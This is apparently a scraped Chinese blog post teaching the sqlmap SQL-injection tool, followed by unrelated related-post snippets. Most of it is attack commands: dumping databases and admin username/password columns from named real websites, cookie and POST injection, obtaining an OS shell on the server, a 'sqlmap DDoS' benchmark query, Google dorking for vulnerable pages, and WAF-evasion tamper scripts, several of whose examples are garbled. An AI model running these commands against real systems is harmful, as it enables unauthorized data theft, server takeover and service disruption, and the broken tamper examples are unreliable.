1.sqlmap的get注入

假设目标是 https://www.baidu.com/news.php?id=1&data=2

sqlmap语句

列库

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" --dbs

//假设结果显示库有3个: test1 、test2、test3

获取库test1的表

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -D test1 --tables

//假设有表3个:admin,user,news

获取admin表的columns

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin --columns

//假设有字段3个:id,username,password

获取id,username,password字段的内容

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin -C "id,usrename,password"

一切顺利的话 这算是完成了一次注入

2.sqlmap的post注射

post肯定要post内容,这个内容一般是表单神马的。可以配合burpsuite,也可以自己手工填写,当然,sqlmap之所以叫做神器,那是因为它自己完全可以搞定

target还是https://www.baidu.com/news.php

post的内容是 username=&password=

可以用sqlmap的随机值,也可以自己随便填下username=admin&password=123

那么sqlmap语句是:

列库

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -data="username=admin&password=123" --dbs

后续步骤一样

偷懒不想填post内容可以这样

sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" --forms

sqlmap自动获取表单,问你是否填写神马的,然后填不填都可以

然后用sqlmap虐sqli-labs的话,我记得lessen4和10 要升到level2才可以

然后是sqlmap的绕过脚本,在最后带上参数 ----tamper "space2morehash.py"

双引号里面的脚本有哪些,有什么作用请呆着疑问往下看。

以上手敲的

下面是 羽翼SQLMAP系列课程笔记

#######################################################################3

常用语句

sqlmap -u https://www.target.com/id=2

--dbs

--tables -D whatA

--columns -D databaseA -T tableA

--dump -D databaseA -T tableA -C "username,password"

=============================================================================================

cookie注入

注入点:https://www.ntjx.org/jsj/DownloadShow.asp?id=9

语句sqlmap -u "https://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2

=============================================================================================

post注入

注入点:https://testasp.vulnweb.com/Login.asp

配合Burpsuite:./sqlmap.py -r search-test.txt -p tfUPass

---------------------------------------------------------------------------------------------

自动获取

sqlmap -u https://testasp.vulnweb.com/Login.asp --forms

指定参数

sqlmap -u https://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"

=============================================================================================

交互式写shell需要指定根目录

---------------------------------------------------------------------------------------------

sqlmap -u https://www.target.com/id=2 --os-cmd=ipconfig

执行ipconfig

sqlmap -u https://www.target.com/id=2 --os-shell

获得一个shell即时执行命令,会生成文件 tmpbxbxz.php 和 tmppuoiuz.php

---------------------------------------------------------------------------------------------

伪静态注入点:https://www.target.com/ndex.php/Index/view/id/40.html

sqlmap -u https://www.target.com/ndex.php/Index/view/id/40*.html --dbs//注意*位置,在有注入的地方,后面你懂的

=============================================================================================

请求延时

注入点:https://sfl.fzu.edu.cn/index.php/Index/view/id/40.html

参数 --delay --safe-freq

sqlmap --dbs -u https://www.target.com/ndex.php/Index/view/id/40*.html --delay 0.5//延时0.5秒

sqlmap --dbs -u https://www.target.com/ndex.php/Index/view/id/40*.html --safe-freq//请求2次

=============================================================================================

google关键字找注入点

sqlmap-g inurl:php?id=1

=============================================================================================

sqlmapDDoS攻击

sqlmap -u https://www.target.com/id=2 --sql-shell

获得一个即时shell,执行

select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

=============================================================================================

sqlmap绕过WAF防火墙

注入点:https://www.target.com/id=2

sqlmap -u https://192.168.159.1/news.php?id=1 -v 3 --dbs--batch --tamper "space2morehash.py"

tamper文件夹下自行发挥

=============================================================================================

sqlmap查看 权限及可执行函数

sqlmap -u https://www.target.com/id=2 --privileges

######################################################################################

一下是sqlmap的绕过脚本的解释:

sqlmap自带的绕过脚本,简单翻译了一下,部分可能翻译的不到位,见谅。。

apostrophemask.py UTF-8编码

Example:

* Input: AND '1'='1'

* Output: AND '1'='1'

apostrophenullencode.py unicode编码

Example:

* Input: AND '1'='1'

* Output: AND '1'='1'

appendnullbyte.py 添加

Example:

* Input: AND 1=1

* Output: AND 1=1

Requirement:

* Microsoft Access

base64encode.py base64编码

Example:

* Input: 1' AND SLEEP(5)#

* Output: MScgQU5EIFNMRUVQKDUpIw==

between.py 以“not between”替换“>”

Example:

* Input: 'A > B'

* Output: 'A NOT BETWEEN 0 AND B'

bluecoat.py 以随机的空白字符替代空格,以“like”替代“=”

Example:

* Input: SELECT id FROM users where id = 1

* Output: SELECT id FROM users where id LIKE 1

Requirement:

* MySQL 5.1, SGOS

chardoubleencode.py 双重url编码

Example:

* Input: SELECT FIELD FROM TABLE

* Output: SELECT FIELD FROM TABLE

charencode.py url编码

Example:

* Input: SELECT FIELD FROM TABLE

* Output: SELECT FIELD FROM TABLE

charunicodeencode.py 对未进行url编码的字符进行unicode编码

Example:

* Input: SELECT FIELD FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'

Requirement:

* ASP

* ASP.NET

equaltolike.py 以“like”替代“=”

Example:

* Input: SELECT * FROM users WHERE id=1

* Output: SELECT * FROM users WHERE id LIKE 1

halfversionedmorekeywords.py在每个关键字前添加条件注释

Example:

* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa

* Output: value'--

Requirement:

* MySQL

modsecurityzeroversioned.py 条件注释,0000

Example:

* Input: 1 AND 2>1--

* Output: 1 --

Requirement:

* MySQL

multiplespaces.py 添加多个空格

Example:

* Input: UNION SELECT

* Output:UNIONSELECT

nonrecursivereplacement.py 可以绕过对关键字删除的防注入(这个我也不知道怎么说好,看例子。。。)

Example:

* Input: 1 UNION SELECT 2--

* Output: 1 UNUNIONION SELSELECTECT 2--

percentage.py 在每个字符前添加百分号(%)

Example:

* Input: SELECT FIELD FROM TABLE

* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

Requirement:

* ASP

randomcase.py 随即大小写

Example:

* Input: INSERT

* Output: InsERt

randomcomments.py 随机插入区块注释

Example:

'INSERT' becomes 'INSERT'

securesphere.py 语句结尾添加“真”字符串

Example:

* Input: AND 1=1

* Output: AND 1=1 and '0having'='0having'

sp_password.py 语句结尾添加“sp_password”迷惑数据库日志(很。。。)

Example: www.2cto.com

* Input: 1 AND 9227=9227--

* Output: 1 AND 9227=9227--sp_password

Requirement:

* MSSQL

space2comment.py 以区块注释替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECTidFROMusers

space2dash.py 以单行注释“--”和随机的新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1--PTTmJopxdWJ AND--cWfcVRPV 9227=9227

Requirement:

* MSSQL

* SQLite

space2hash.py 以单行注释“#”和由随机字符组成的新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1#PTTmJopxdWJ AND#cWfcVRPV 9227=9227

Requirement:

* MySQL

space2morehash.py 没看出来和上面那个有什么区别。。

Requirement:

* MySQL >= 5.1.13

space2mssqlblank.py 以随机空白字符替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECTidFROMusers

Requirement:

* Microsoft SQL Server

space2mssqlhash.py 以单行注释“#”和新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1# 9227=9227

Requirement:

* MSSQL

* MySQL

space2mysqlblank.py 以随机空白字符替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECTidFROM?users

Requirement:

* MySQL

space2mysqldash.py 以单行注释和新行替换空格

Example:

* Input: 1 AND 9227=9227

* Output: 1-- AND-- 9227=9227

Requirement:

* MySQL

* MSSQL

space2plus.py 以“+”替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECT+id+FROM+users

space2randomblank.py 随机空白字符替换空格

Example:

* Input: SELECT id FROM users

* Output: SELECT\rid\tFROM\nusers

unionalltounion.py 以“union all”替换“union”

Example:

* Input: -1 UNION ALL SELECT

* Output: -1 UNION SELECT

unmagicquotes.py 以“?'”替换单引号,并在结尾添加注释“--”

Example:

* Input: 1' AND 1=1

* Output: 1?' AND 1=1--

versionedkeywords.py 对不是函数的关键字条件注释

Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

* Output: 1,,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()),CHAR(32)),CHAR(58,100,114,117,58))#

Requirement:

* MySQL

versionedmorekeywords.py 对关键字条件注释

Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

* Output: 1,,((58,122,114,115,58),(CAST(()),(32)),(58,115,114,121,58))#

Requirement:

* MySQL >= 5.1.13

########################################################################################

如果web应用使用asp/asp.net开发,charunicodeencode.py和percentage.py可以帮助你逃避Waf的检测。

有意思的是,asp允许在字符之间使用多个%号间隔,比如 AND 1=%%%%%%%%1 是合法的!

SQL注入工具sqlmap的注入过程记录的更多相关文章

  1. 豹子安全-注入工具-显错注入-asp_POST_显错_SQLServer_GetWebShell

    豹子安全-注入工具-显错注入-SQL Server-上传WebShell 请看下列视频 . 该视频在停留10秒钟后开始. 或点击此处查看:豹子安全-注入工具-asp_POST_显错_SQLServer ...

  2. 详解强大的SQL注入工具——SQLMAP

    1. 前言  Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别是破解的工具很可能被绑了木马.其实 Linu ...

  3. 自动化SQL注入工具 sqlmap 使用手册

    0x00 sqlmap介绍 什么是sqlmap? sqlmap是一个开源的渗透测试工具,它自动化了检测和利用SQL注入缺陷 以及接管数据库服务器的过程.它配备了一个强大的检测引擎 ,以及终极渗透测试仪 ...

  4. WEB安全学习二、注入工具 sqlmap的使用

    使用的是Kali Linux 系统,系统中默认的sqlmap 是安装好了的,电脑上没有安装sqlmap,自己百度  ,需要python的环境 使用 命令   sqlmap -h 可以查看   sqlm ...

  5. dvwa——sql手动注入和sqlmap自动注入

    手动注入 low: 源码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; ...

  6. sql注入工具sqlmap使用参数说明

    Options(选项):--version 显示程序的版本号并退出-h, --help 显示此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为1)Target(目标):以下至少需要设置其中 ...

  7. SQL注入工具sqlmap的使用

    sqlmap使用 测试注入点 sqlmap -u "URL" 爆数据库 sqlmap -u "URL" --dbs 查看当前库 sqlmap -u " ...

  8. sqlmap注入工具----一次简单的注入(实战)

    最近在学习网络安全,挖洞避免不了要使用许多工具,使用著名注入工具sqlmap的时候,对于英语不怎么好的我就比较难受了,本来就不会使用,加之又是英语的,简直难受.上网找了好多详细教程,但是命令实在是太多 ...

  9. 10个SQL注入工具(转载)

    众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 1 ...

随机推荐

  1. HDU 6396(2018多校第七场1011) Swordsman

    场上场下各种TLE到怀疑人生...经过大佬指点之后才知道要用fread才能过,一般的快读不行... 题意:一个剑客打小怪兽,有n头小怪兽,剑客和小怪兽有m个属性.只有剑客的m个属性都大于等于某个小怪兽 ...

  2. __call()和__callStatic()方法

    __call() 当对象访问不存在的方法时,__call()方法会被自动调用__callStatic() 当对象访问不存在的静态方法时,__callStatic()方法会被自动调用 这两个方法在PHP ...

  3. win10右击windows键没有反应解决方案(1707版本)

    按Win+R打开运行,输入“regedit”打开注册表编辑器. 2.在“HKEY_CLASSES_ROOT”主键下找到“linkfile”或者".lnkfile"字符串值项,在右侧 ...

  4. ROS Learning-007 beginner_Tutorials ROS节点

    ROS Indigo beginner_Tutorials-06 ROS节点 我使用的虚拟机软件:VMware Workstation 11 使用的Ubuntu系统:Ubuntu 14.04.4 LT ...

  5. 使用Eclipse创建Maven javaweb项目

    其实是我自己不会创建Maven JavaWeb项目,就自己瞎蒙了一下,竟然成功了. 这里有个条件就是你的Maven已经在电脑上配好了. 第一步就是File->New->Maven Proj ...

  6. SQL Server相关知识和经验的碎片化记录

    1.在向服务器发送请求时发生传输级错误 在向服务器发送请求时发生传输级错误. (provider: TCP 提供程序, error: 0 - 远程主机强迫关闭了一个现有的连接.) ---> Sy ...

  7. [转]JQ中$(window).load和$(document).ready区别与执行顺序

    一.$(window).load().window.onload=function(){}和$(document).ready()方法的区别 1.$(window).load() 和window.on ...

  8. 查询sql语句的执行时间

    我们开启执行计划来看sql语句的执行效率,看下索引是否使用等 但是执行计划没有告诉我们执行时间,刚刚看了一个代码,可以自己计算执行时间的 Declare @d Datetime      Set @d ...

  9. javascript 实现类似百度联想输入,自动补全功能

    js  实现类似百度联想输入,自动补全功能 方案一: search是搜索框id="search" //点击页面隐藏自动补全提示框 document.onclick = functi ...

  10. 转场动画CALayer (Transition)

    1.将对应UI控件的层调用以下接口即可 1.1 .h文件 // // 文 件 名:CALayer+Transition.h // // 版权所有:Copyright © 2018年 leLight. ...